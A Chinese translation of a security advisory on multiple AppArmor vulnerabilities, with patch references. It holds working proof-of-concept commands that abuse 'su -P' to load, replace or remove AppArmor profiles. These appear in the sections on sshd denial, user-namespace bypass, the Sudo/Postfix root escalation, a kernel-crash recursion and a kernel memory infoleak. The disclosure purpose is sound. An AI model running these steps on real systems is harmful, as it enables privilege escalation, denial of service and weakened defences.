文章总结: 文章深入剖析了Linux安全模块AppArmor中的多个严重漏洞。这些漏洞源于一个基础性的混淆代理问题,即攻击者可利用特权程序(如su)向全局可写的AppArmor伪文件写入数据,从而绕过权限限制,加载、替换或移除任意配置文件。这可能导致削弱系统防御、拒绝服务,甚至进一步演化为内核空间的提权攻击,例如通过越界读取、释放后使用等漏洞获取完全的root权限。文章详细分析了利用方式,并指出相关补丁已提交以修复这些问题。
综合评分: 95
文章分类: 漏洞分析,渗透测试,红队,内核安全,Linux安全
AppArmor漏洞剖析:绕过命名空间限制&提权
Dubito Dubito
云原生安全指北
2026年3月17日 08:35 江苏
注:本文翻译自 Qualys 的文章《CrackArmor: Multiple vulnerabilities in AppArmor》[1],可点击文末“阅读原文”按钮查看英文原文。
全文如下:
摘要
我们在AppArmor中发现了多个漏洞。AppArmor是一个Linux安全模块(LSM),在Ubuntu、Debian和SUSE等主流发行版中默认启用(Android和Red Hat衍生版使用另一个LSM,即SELinux,而不是AppArmor)。
首先,我们发现了一个基础性漏洞(一个“混淆代理”问题),它允许非特权的本地攻击者加载、替换和移除任意的AppArmor配置文件,从而导致:
- 1. 削弱系统防御:通过移除现有AppArmor配置文件,这些文件旨在保护关键程序和服务(例如cupsd和rsyslogd的配置文件)免受本地和远程攻击;
- 2. 对系统实施拒绝服务攻击:通过加载新的限制性AppArmor配置文件(例如,为sshd加载一个“deny all”的配置,会阻止任何合法用户远程登录系统);
- 3. 绕过Ubuntu的非特权用户命名空间限制(即使所有公开已知的绕过方法都已被修复):通过加载一个新的任意
usernsAppArmor 配置文件(该文件允许非特权的本地用户创建具有完整能力的用户命名空间)。
其次,也许更令人惊讶的是,我们能够将这个基础性漏洞(即能够加载、替换、移除任意AppArmor配置文件的能力)转化为多种本地权限提升(LPE),使得任何非特权的本地用户都能获得完全的 root 权限:
- 1. 在用户空间中:通过加载新的AppArmor配置文件,拒绝特定特权程序执行特定的系统调用(例如,在默认安装的Ubuntu Server 24.04.3加上Postfix邮件服务器的环境中,我们在Sudo中创建了一个“fail-open”场景,并轻松获得了完全的root权限);
- 2. 在内核空间中(我们的任意AppArmor配置文件在此被解析):我们在AppArmor的代码中发现了多个漏洞,这些漏洞可通过加载、替换和移除任意配置文件来利用;特别是:
- • 一个不受控制的递归,导致内核栈耗尽。据我们所知,这仅能造成拒绝服务(系统完全崩溃),因为没有足够大的内核栈分配能够越过
CONFIG_VMAP_STACK的防护页; - • 一个发生在8KB
kmalloc()缓冲区之后的越界读取漏洞,它允许我们在至少 Ubuntu 24.04.3 和 Debian 13.1 系统上泄露 64KB 的内核内存(包括大量被 KASLR 随机化的内核指针); - • 一个发生在
kmalloc-192缓存中的 释放后使用(use-after-free,UAF) 漏洞,尽管存在CONFIG_RANDOM_KMALLOC_CACHES缓解措施(该措施在 Ubuntu 24.04.3 中默认启用),但在至少 Ubuntu 24.04.3 和 Debian 13.1 系统上仍可利用(实现获取完全 root 权限的 LPE); - • 一个发生在从
kmalloc-8到kmalloc-256的任意缓存中的 双重释放(double-free) 漏洞,尽管存在“用于memdup_user()的专用 slab 桶”缓解措施(CONFIG_SLAB_BUCKETS,在 Debian 13.1 中默认启用),但在至少 Debian 13.1 系统上仍可利用(实现获取完全 root 权限的 LPE)。
注意:我们总共在 AppArmor 中发现了 9 个漏洞,但本公告并未详细说明所有这些漏洞:
- •
[PATCH 01/11] apparmor: validate DFA start states are in bounds in unpack_pdb(一个越界读取漏洞); - •
[PATCH 02/11] apparmor: fix memory leak in verify_header(一个内存泄漏漏洞); - •
[PATCH 03/11] apparmor: replace recursive profile removal with iterative approach和[PATCH 04/11] apparmor: fix: limit the number of levels of policy namespaces(本公告中详述的不受控制的递归漏洞); - •
[PATCH 05/11] apparmor: fix side-effect bug in match_char() macro usage(本公告中详述的越界读取漏洞); - •
[PATCH 06/11] apparmor: fix missing bounds check on DEFAULT table in verify_dfa()(一个越界读取和写入漏洞); - •
[PATCH 07/11] apparmor: Fix double free of ns_name in aa_replace_profiles()(本公告中详述的双重释放漏洞); - •
[PATCH 08/11] apparmor: fix unprivileged local user can do privileged policy management(本公告中详述的混淆代理问题); - •
[PATCH 09/11] apparmor: fix differential encoding verification(一个无限循环漏洞); - •
[PATCH 10/11] apparmor: fix race on rawdata dereference和[PATCH 11/11] apparmor: fix race between freeing data and fs accessing it(本公告中详述的释放后使用漏洞)。
临时说明:遗憾的是,这些漏洞尚未分配 CVE 编号,因为“CVE 编号是在事后才分配的”;根据 http://www.kroah.com/log/blog/2026/02/16/linux-cve-assignment-process/ 的说明:
“CVE ID 通常在补丁合并到已发布的稳定内核版本后的一到两周内分配。这允许那些定期采用 Linux 稳定版更新的用户,在 CVE 向世界公布之前,确保其系统是安全的。”
一、混淆代理问题
来源:https://en.wikipedia.org/wiki/Confused_deputy_problem “在信息安全领域,混淆代理是指一个计算机程序被另一个(权限更低或权利更少的)程序欺骗,从而滥用了其在系统上的权限。”
我们最近注意到,用于加载、替换和移除 AppArmor 配置文件的伪文件(pseudo-file) 是全局可写的(权限模式 0666);换句话说,任何非特权的本地用户都可以用 O_WRONLY 模式 open() 这些文件:
$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ ls -l /sys/kernel/security/apparmor/{.load,.replace,.remove}
-rw-rw-rw- 1 root root 0 Oct 14 12:17 /sys/kernel/security/apparmor/.load
-rw-rw-rw- 1 root root 0 Oct 14 12:17 /sys/kernel/security/apparmor/.remove
-rw-rw-rw- 1 root root 0 Oct 14 12:17 /sys/kernel/security/apparmor/.replace
然而,毫不意外的是,尽管非特权用户使用 O_WRONLY 模式 open() 这些文件能够成功,但实际上 write() 操作会失败并返回 EACCES 错误(“Permission denied(权限被拒绝)”):
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ strace echo whatever > /sys/kernel/security/apparmor/.remove
...
write(1, "whatever\n", 9) = -1 EACCES (Permission denied)
...
# dmesg
...
apparmor="STATUS" operation="profile_remove" info="not policy admin" error=-13 profile="unconfined" pid=1184 comm="echo"
这立刻让我们想起了历史上的 Linux 内核漏洞,例如 CVE-2012-0056(Mempodipper)、CVE-2013-1959,以及更近期的 ns_last_pid 漏洞:
- • https://git.zx2c4.com/CVE-2012-0056/about/ (作者:Jason Donenfeld)
- • https://www.openwall.com/lists/oss-security/2013/04/29/1 (作者:Andy Lutomirski)
- • https://www.openwall.com/lists/oss-security/2025/06/03/5 (作者:Vegard Nossum)
所有这些漏洞的利用方式都是:
- • 以非特权用户身份,用 O_WRONLY 或 O_RDWR 模式
open()一个伪文件(如/proc/pid/mem、/proc/pid/uid_map或/proc/sys/kernel/ns_last_pid),然后通过dup2()将得到的文件描述符复制到 stdout 或 stderr; - •
execve()执行一个特权程序,例如su、gpasswd或newgrp,并强制它向 stdout 或 stderrwrite()一个部分可控的字符串,从而将数据写入/proc下的伪文件(此write()操作之所以成功,是因为该程序拥有特权;否则,它会因 EACCES 或 EPERM 错误而失败)。
因此,我们尝试通过一个特权程序(su)的 stderr 向 AppArmor 的伪文件进行 write() 操作,并证实了令人难以置信的一点:AppArmor 确实存在漏洞(这一次 write() 没有因 EACCES(“非策略管理员”)而失败,而是因 ENOENT(“配置文件不存在”)而失败,因为 su 写入 stderr 的字符串并非现有 AppArmor 配置文件的名称):
$ id uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ su whatever 2>/sys/kernel/security/apparmor/.remove
# dmesg
...
apparmor="STATUS" operation="profile_remove" info="profile does not exist" error=-2 profile="unconfined" name=0A pid=1197 comm="su"
为了充分利用此漏洞(特别是为了加载任意的 AppArmor 配置文件),我们必须找到一个特权程序,能够强制它向其 stdout 或 stderrwrite() 出完全可控的字符串,包括空字节。我们四处搜寻,最终在 pty 模式下的 su(其 -P 或 --pty 选项)中找到了答案。该程序默认安装,并且有效地充当了两个非特权程序之间的特权代理:一个是执行 su 的程序,另一个是由 su 以我们非特权用户身份执行的程序。最终,我们现在能够加载、替换和移除任意的 AppArmor 配置文件了。
1.1 移除现有配置文件
要以非特权本地用户的身份移除一个现有的 AppArmor 配置文件(例如,rsyslogd 的配置文件),我们只需通过 su 在 pty 模式下的 stdout,将该配置文件的名称 write() 到 AppArmor 的 .remove 文件即可(注意:下面 su 的密码提示显然是为我们的非特权用户准备的,而不是为 root 准备的):
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ ls -l /sys/kernel/security/apparmor/policy/profiles/*rsyslogd*
total 0
-r--r--r-- 1 root root 0 Oct 14 12:17 attach
-r--r--r-- 1 root root 0 Oct 14 12:17 learning_count
-r--r--r-- 1 root root 0 Oct 14 12:17 mode
-r--r--r-- 1 root root 0 Oct 14 12:17 name
lr--r--r-- 1 root root 0 Oct 14 12:17 raw_abi -> ../../raw_data/93/abi
lr--r--r-- 1 root root 0 Oct 14 12:17 raw_data -> ../../raw_data/93/raw_data
lr--r--r-- 1 root root 0 Oct 14 12:17 raw_sha256 -> ../../raw_data/93/sha256
-r--r--r-- 1 root root 0 Oct 14 12:17 sha256
$ su -P -c 'stty raw && echo -n rsyslogd' "$USER" > /sys/kernel/security/apparmor/.remove
Password:
$ ls -l /sys/kernel/security/apparmor/policy/profiles/*rsyslogd*
ls: cannot access '/sys/kernel/security/apparmor/policy/profiles/*rsyslogd*': No such file or directory
1.2 加载新配置文件
要以非特权本地用户的身份加载一个新的 AppArmor 配置文件(例如,为 sshd 加载一个“deny all”的配置文件),我们首先需要使用 apparmor_parser 将此配置文件编译成二进制格式,然后通过 su 在 pty 模式下的 stdout,将这个二进制配置文件 write() 到 AppArmor 的 .load 文件(注意:下面我们加载的是一个空配置文件,而不是显式的“deny all”配置文件,因为 AppArmor 配置文件默认已经是白名单机制了):
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ ls -l /sys/kernel/security/apparmor/policy/profiles/*sshd*
ls: cannot access '/sys/kernel/security/apparmor/policy/profiles/*sshd*': No such file or directory
$ apparmor_parser -K -o sshd.pf << "EOF"
/usr/sbin/sshd {
}
EOF
$ su -P -c 'stty raw && cat sshd.pf' "$USER" > /sys/kernel/security/apparmor/.load
Password:
$ ls -l /sys/kernel/security/apparmor/policy/profiles/*sshd*
total 0
-r--r--r-- 1 root root 0 Oct 14 17:01 attach
-r--r--r-- 1 root root 0 Oct 14 17:01 learning_count
-r--r--r-- 1 root root 0 Oct 14 17:01 mode
-r--r--r-- 1 root root 0 Oct 14 17:01 name
lr--r--r-- 1 root root 0 Oct 14 17:01 raw_abi -> ../../raw_data/105/abi
lr--r--r-- 1 root root 0 Oct 14 17:01 raw_data -> ../../raw_data/105/raw_data
lr--r--r-- 1 root root 0 Oct 14 17:01 raw_sha256 -> ../../raw_data/105/sha256
-r--r--r-- 1 root root 0 Oct 14 17:01 sha256
$ ssh localhost
kex_exchange_identification: read: Connection reset by peer
Connection reset by 127.0.0.1 port 22
1.3 绕过 Ubuntu 的用户命名空间限制
为了绕过 Ubuntu 的非特权用户命名空间限制,我们为 /usr/bin/time 加载了一个新的 userns AppArmor 配置文件。即使所有公开已知的绕过方法(aa-exec、busybox 和 LD_PRELOAD)都已被修复,这个新配置文件仍允许我们创建具有完整能力的非特权用户命名空间:
- • https://www.qualys.com/2025/three-bypasses-of-Ubuntu-unprivileged-user-namespace-restrictions.txt
- • https://discourse.ubuntu.com/t/understanding-apparmor-user-namespace-restriction/58007
- • https://u1f383.github.io/linux/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction.html (作者:Pumpkin Chang)
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ sysctl kernel.apparmor_restrict_unprivileged_unconfined
kernel.apparmor_restrict_unprivileged_unconfined = 1
$ unshare -U -r -m /bin/sh
unshare: write failed /proc/self/uid_map: Operation not permitted
$ aa-exec -p trinity -- unshare -U -r -m /bin/sh
unshare: write failed /proc/self/uid_map: Operation not permitted
$ apparmor_parser -K -o time.pf << "EOF"
/usr/bin/time flags=(unconfined) {
userns,
}
EOF
$ su -P -c 'stty raw && cat time.pf' "$USER" > /sys/kernel/security/apparmor/.replace
Password:
$ /usr/bin/time -- unshare -U -r -m /bin/sh
# mount --bind /etc/passwd /etc/passwd
# mount
...
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/passwd type ext4 (rw,relatime)
二、AppArmor + Sudo + Postfix = root
你是否收到了断连通知? 我的今天刚好寄到 —— Sonic Youth, “Disconnection Notice”
作为非特权的本地攻击者,能够加载、替换和移除任意的 AppArmor 配置文件已经相当了不起,但我们最关键且迫切的问题是:能否将这种能力转化为获取完全 root 权限的本地权限提升(LPE)?我们的核心想法是加载新的 AppArmor 配置文件,拒绝某些特权程序执行特定的系统调用,从而创造可利用的“fail-open”场景。
从我们对 Baron Samedit 的研究中,我们记得当 Sudo 遇到异常情况时,它会向系统管理员发送一封邮件。在 Ubuntu 上发送此类邮件时,Sudo 会以我们非特权用户的身份(而非 root 身份)执行 /usr/sbin/sendmail,并且保留我们原始的环境变量(但不包括 LD_AUDIT 和 LD_PRELOAD 等明显危险的变量,这些变量在 Sudo 的 main() 函数执行之前,已被动态链接器 ld.so 从环境中移除)。
根据 CVE-2002-0043 的描述:
- • https://www.sudo.ws/security/advisories/postfix/ (作者:Sebastian Krahmer)
我们也记得,如果系统上安装了 Postfix 邮件服务器,并且 Postfix 的 /usr/sbin/sendmail 是以 root 身份执行的,但同时带有用户控制的环境变量(特别是 MAIL_CONFIG 环境变量),那么非特权用户就可以强制 Postfix 以 root 身份执行任意命令。
因此,我们迫切的问题变成了:如果我们作为非特权的本地攻击者,加载一个新的 AppArmor 配置文件,拒绝向 Sudo 授予 setuid 能力(CAP_SETUID)(从而可能阻止 Sudo 在执行 Postfix 的 /usr/sbin/sendmail 之前丢弃其 root 权限),然后我们用一个指向 /tmp 中我们自己 Postfix 配置的 MAIL_CONFIG 环境变量来执行 Sudo,那么来自我们自己 Postfix 配置中的 /usr/bin/id 命令会以 root 身份执行吗?答案是:
$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ dpkg -S /usr/sbin/sendmail
postfix: /usr/sbin/sendmail
$ mkdir /tmp/postfix
$ cat > /tmp/postfix/main.cf << "EOF"
command_directory = /tmp/postfix
EOF
$ cat > /tmp/postfix/postdrop << "EOF"
#!/bin/sh
/usr/bin/id >> /tmp/postfix/pwned
EOF
$ chmod -R 0755 /tmp/postfix
$ apparmor_parser -K -o sudo.pf << "EOF"
/usr/bin/sudo {
allow file,
allow signal,
allow network,
allow capability,
deny capability setuid,
}
EOF
$ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace
Password:
$ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever
sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted
sudo: unable to open /etc/sudoers: Operation not permitted
sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted
sudo: error initializing audit plugin sudoers_audit
$ cat /tmp/postfix/pwned
uid=0(root) gid=1001(jane) groups=1001(jane),100(users)
^^^^^^^^^^^
导致这次获取 root 权限的 LPE 的令人惊讶的事件序列如下:
- • 在
sudoers_init()中,Sudo 调用setresuid(0, -1, -1)将其真实用户 ID(real uid)设置为 0(PERM_ROOT),此操作成功,因为它的有效用户 ID(effective uid)和保存设置用户 ID(saved uid)已经是 0(Sudo 是 SUID-root 程序); - • 在
open_sudoers()中(更准确地说,是在open_file()中),Sudo 调用setresuid(-1, 1, -1)临时将其有效用户 ID 设置为 1(PERM_SUDOERS),此操作失败(返回 EPERM,“操作不允许”),因为 Sudo 的所有用户 ID 都不是 1(它们都是 0),并且 Sudo 没有CAP_SETUID能力(我们的 AppArmor 配置文件拒绝了它); - • 回到
sudoers_init(),Sudo 调用mail_parse_errors()向管理员发送一封关于此setresuid()失败的邮件(“解析 sudoers 文件时出现问题”,“无法打开 /etc/sudoers:操作不允许”); - • 然后,在
exec_mailer()中,Sudo 调用setuid(0)(见下面第 331 行)将其所有用户 ID 设置为 0,此操作成功,因为它们已经是 0; - • 同样在
exec_mailer()中,Sudo 调用setuid(1001)(见第 336 行)将其所有用户 ID 永久设置为我们非特权用户的 UID,此操作失败(返回 EPERM,“操作不允许”),因为 Sudo 的所有用户 ID 都不是 1001(它们都是 0),并且 Sudo 没有CAP_SETUID能力(我们的 AppArmor 配置文件拒绝了它); - • 最后,尽管此
setuid()失败了,Sudo 的exec_mailer()仍调用execv()(见第 345 行)来执行 Postfix 的/usr/sbin/sendmail,并带上我们原始的环境变量(包括我们的MAIL_CONFIG),但却是以 root 身份(而非我们非特权用户身份)执行的,因为用于丢弃 Sudo root 权限的setuid(1001)失败了。
284 exec_mailer(int pipein)
...
327 /*
328 * Depending on the config, either run the mailer as root
329 * (so user cannot kill it) or as the user (for the paranoid).
330 */
331 if (setuid(ROOT_UID) != 0) {
332 sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to %u",
333 ROOT_UID);
334 }
335 if (evl_conf->mailuid != ROOT_UID) {
336 if (setuid(evl_conf->mailuid) != 0) {
337 sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to %u",
338 (unsigned int)evl_conf->mailuid);
339 }
340 } ...
342 if (evl_conf->mailuid == ROOT_UID)
343 execve(mpath, argv, (char **)root_envp);
344 else
345 execv(mpath, argv);
注意:如果没有能力加载一个拒绝向 Sudo 授予 CAP_SETUID 的 AppArmor 配置文件,Sudo 中的这个“fail-open”场景是无法被利用的,具体原因在 man execve 的 “execve() and EAGAIN” 一节中有解释。
临时说明:在就这个“fail-open”场景给 Sudo 的维护者写邮件时,我们注意到这个问题已在 2025 年 11 月被独立发现、报告并修复了(commit 3e474c2):
exec_mailer: 在运行邮件程序时同时设置组ID和用户ID 同时使setuid()、setgid()或setgroups()的失败成为致命错误。 由ZeroPath AI安全工程师发现 https://zeropath.com
对这个用户空间的 LPE 略感失望后(因为 Postfix 在 Ubuntu 上已不再是默认安装),我们决定探索另一个想法:也许 AppArmor 的内核代码本身就包含漏洞,这些漏洞可以通过加载、替换或移除任意的 AppArmor 配置文件,在内核空间中被利用?
三、内核漏洞
3.1 不受控制的递归
我想我以前来过这里 有种感觉告诉我远不止如此 —— Sonic Youth, “The Wonder”
我们在 AppArmor 代码中发现的第一个内核漏洞是一个不受控制的递归。一个 AppArmor 配置文件可以包含子配置文件(例如,名为 "myprofile//mysubprofile"),而这些子配置文件本身又可以包含子配置文件(例如,名为 "myprofile//mysubprofile//mysubsubprofile"),以此类推。要移除这样一个配置文件,AppArmor 的内核代码会调用 __remove_profile(),该函数首先调用 __aa_profile_list_release() 来移除其所有的子配置文件,而后者又会再次调用 __remove_profile(),等等;换句话说,__remove_profile() 是以递归方式调用的:
192 static void __remove_profile(struct aa_profile *profile)
...
198 /* release any children lists first */
199 __aa_profile_list_release(&profile->base.profiles);
212 void __aa_profile_list_release(struct list_head *head)
...
215 list_for_each_entry_safe(profile, tmp, head, base.list)
216 __remove_profile(profile);
因此,如果我们创建一个深度嵌套的子配置文件层次结构(在下面的PoC中为 1024 层),然后移除祖先配置文件(通过将其名称 write() 到 AppArmor 的 .remove 伪文件),AppArmor 就会递归调用 __remove_profile(),耗尽内核栈(在 x86_64 架构上为 16KB),并导致系统崩溃(因为 Ubuntu 24.04.3 和 Debian 13.1 使用 CONFIG_VMAP_STACK 防护页来保护内核栈)。
为了在下面的PoC中加载所有这些子配置文件,我们首先创建一个 AppArmor 命名空间(通过加载一个新的带命名空间的配置文件,例如名为 ":mynamespace:myprofile"),然后通过一个新的用户命名空间(借助我们为 /usr/bin/time 加载的 userns 配置文件创建)进入这个 AppArmor 命名空间,以便在此 AppArmor 和用户命名空间内获得完整的能力。这允许我们直接 write() 到 AppArmor 的伪文件(.load、.replace、.remove),而无需通过 su 在 pty 模式下的 stdout 来 write() 这些文件;但这并非绝对必要(我们可以重复执行 su,或者只执行一次并小心地同步多次 write() 操作);不过,它确实极大地简化了我们的PoC:
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ ls -l /sys/kernel/security/apparmor/policy/namespaces
total 0
$ apparmor_parser -K -o myns.pf << "EOF"
profile :myns:mypf flags=(unconfined) {
userns,
}
EOF
$ su -P -c 'stty raw && cat myns.pf' "$USER" > /sys/kernel/security/apparmor/.load
Password:
$ ls -l /sys/kernel/security/apparmor/policy/namespaces
total 0
drwxr-xr-x 5 root root 0 Oct 15 16:04 myns
$ /usr/bin/time -- aa-exec -n myns -p mypf -- unshare -U -r /bin/bash
# pf='a'; for ((i=0; i<1024; i++)); do
echo -e "profile $pf { \n }" | apparmor_parser -K -a;
pf="$pf//x";
done
# echo -n a > /sys/kernel/security/apparmor/.remove
Write failed: Broken pipe
据我们所知,这个不受控制的递归仅会造成拒绝服务(而非 LPE),因为没有足够大的内核栈分配能够越过 CONFIG_VMAP_STACK 的防护页(即“栈冲突”攻击中的第 3 步)。
3.2 一个越界读取漏洞
闭上双眼,感受乐趣 模式识别正在逃离 —— Sonic Youth, “Pattern Recognition”
我们在 AppArmor 代码中发现的第二个内核漏洞是一个越界内存读取。当一个受 AppArmor 配置文件限制的用户空间程序试图访问某个文件或目录时(例如 /etc/passwd 或 /etc),AppArmor 通过将文件名与一个 AppArmor 正则表达式(AARE)进行匹配,来决定是允许还是拒绝此次访问。AARE 类似于 shell 的通配模式(例如 /etc/*)。
在内核中,AppArmor 使用确定性有限自动机(DFA,Deterministic
Finite Automaton)来实现这样的 AARE —— 本质上是一个状态机:一组状态,以及这些状态之间依赖于输入字符串的转换。为了将字符串(文件名)与此类 DFA 进行匹配,AppArmor 会调用 aa_dfa_match(),该函数针对输入字符串的每个字节循环调用 match_char()。不幸的是,match_char() 是一个不安全的宏(由于其 } while (1) 循环以及第 371-372 行的 MATCH_FLAG_DIFF_ENCODE,它可能对参数进行多次求值),并且它在第 457 行的调用具有副作用(即对 str 指针的自增操作):
365 #define match_char(state, def, base, next, check, C) \
366 do { \
367 u32 b = (base)[(state)]; \
368 unsigned int pos = base_idx(b) + (C); \
369 if ((check)[pos] != (state)) { \
370 (state) = (def)[(state)]; \
371 if (b & MATCH_FLAG_DIFF_ENCODE) \
372 continue; \
373 break; \
374 } \
375 (state) = (next)[pos]; \
376 break; \
377 } while (1)
435 aa_state_t aa_dfa_match(struct aa_dfa *dfa, aa_state_t start, const char *str)
...
456 while (*str)
457 match_char(state, def, base, next, check, (u8) *str++);
因此,str 指针可能在 match_char() 内部被自增多次,从而越过字符串的终止空字节(且未经过第 456 行的空字节检查),进而导致在存放字符串(文件名)的 8KB kmalloc() 缓冲区之后,发生越界内存读取。由于我们可以构建自己的 AppArmor DFA(通过加载新的任意配置文件),我们想到了一个主意:将此越界读取转化为内核内存泄露。
例如,为了泄露字符串 “/etc” 的第 6 个字节(第 1 个字节是 ‘/’,第 5 个字节是终止空字节 \0,而第 6 个字节是第一个越界的字节),我们构建一个等价于 ?????a* 通配模式的 DFA(但我们的 ? 匹配任意字节,包括空字节),然后加载它(通过 write() 到 AppArmor 的 .load 文件),接着用此配置文件限制我们自己(通过 write() 到 /proc/self/attr/current),最后尝试访问文件系统中的 /etc:
- • 如果此次访问被允许(如果我们的 DFA 接受了字符串 “/etc” 及其后续字节),那么第一个越界字节确实是
a; - • 如果此次访问被拒绝(如果我们的 DFA 拒绝了字符串 “/etc” 及其后续字节),那么第一个越界字节不是
a,我们就用另一个 DFA 重试,比如?????b*,然后是?????c*,?????d*,以此类推。
在最坏的情况下,泄露一个越界字节需要尝试 256 次;但我们可以做得更好,我们可以构建一个 DFA,接受一个字节范围作为第 6 个字节,例如 ?????[\x00-\x7F]*:
- • 如果访问被允许,那么第 6 个字节就在
[\x00-\x7F]范围内,然后我们用其一半重试,?????[\x00-\x3F]*等; - • 如果访问被拒绝,那么第 6 个字节就在
[\x80-\xFF]范围内,然后我们用其一半重试,?????[\x80-\xBF]*等。
这种二分查找法泄露一个越界字节仅需尝试 8 次(每比特一次尝试)。更一般地说,为了泄露输入字符串(文件名)的第 n 个字节,我们构建一个具有 n+2 个状态的 DFA:
- • 状态
i(1 <= i < n)读取输入字符串的第i个字节,并总是转换到状态i+1,无论第i个字节的值是什么(这对应于我们例子?????[\x00-\x7F]*中的?????部分); - • 状态
n根据输入字符串的第n个字节是否在接受的范围内,转换到状态n+1(接受),否则转换到状态n+2(拒绝)(这对应于我们例子?????[\x00-\x7F]*中的[\x00-\x7F]部分); - • 状态
n+1(接受状态)和状态n+2(拒绝状态)总是转换到自身,直到在第 456 行读取到一个空字节(这对应于我们例子?????[\x00-\x7F]*中的*部分)。
注意:由于 AppArmor 的 DFA 状态是用 16 位整数表示的,我们最多只能泄露 64KB 的内核内存。
在下面的概念验证中,我们泄露了存放文件名 /etc/passwd 的 8KB 缓冲区之后,从 60KB 到 61KB 范围内的字节,其中包含几个被 KASLR 随机化的内核指针(例如,ffffffffa7ea7420 是 aa_global_buffers,ffffffffa6c43480 是 shmem_ops,而 ffffffffa86b19e0 是 noop_backing_dev_info):
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ /usr/bin/time -- aa-exec -n myns -p mypf -- unshare -U -r /bin/bash
# ./infoleak 1 64
0000: 2f/ 65e 74t 63c 2f/ 70p 61a 73s 73s 77w 64d 00. 00. e0. 2c, 80. 1e. 8e. ff. ff. 20. 74t ea. a7. ff. ff. ff. ff. 00. 00. 00. 00.
0020: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
0040.
# ./infoleak $((60*1024)) $((61*1024))
0000: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 98. 2d- 80. 1e. 8e. ff. ff. 00. c8. 2d- 80. 1e. 8e. ff. ff. 1b. 00. 00.
0020: 00. 0c. 00. 00. 00. 00. 10. 00. 00. 00. 00. 00. 00. ff. ff. ff. ff. ff. ff. ff. 7f. e0. bd. e2. a7. ff. ff. ff. ff. 80. 344 c4.
0040: a6. ff. ff. ff. ff. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 40@ 2b+ c4. a6. ff. ff. ff. ff. 00. 00. 81.
0060: 70p 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 94. 19. 02. 01. 00. 00. 00. 00. 40@ 08. 49I 80. 1e. 8e. ff. ff. 00. 00. 00.
0080: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 88. 90. 2d- 80. 1e. 8e. ff. ff. 88. 90. 2d-
00a0: 80. 1e. 8e. ff. ff. 01. 00. 00. 00. 08. 00. 00. 00. 20. 22" 29) 80. 1e. 8e. ff. ff. a0. 2b+ c4. a6. ff. ff. ff. ff. 00. 00. 00.
00c0: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
00e0: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 80. 7e~ 2a* 80. 1e. 8e. ff. ff. 80. 12. 72r 83. 1e. 8e. ff. ff. 00. 00. 00.
0100: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. e0. 19. 6bk a8. ff. ff. ff. ff. 00. 00. 00. 00. 00. 00. 00. 00. 10. c9. 2d-
0120: 80. 1e. 8e. ff. ff. 10. 399 4bK 83. 1e. 8e. ff. ff. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
0140: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 48H 91. 2d- 80. 1e. 8e. ff. ff. 48H 91. 2d-
0160: 80. 1e. 8e. ff. ff. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
0180: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
01a0: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
01c0: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
01e0: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
0200: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
0220: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
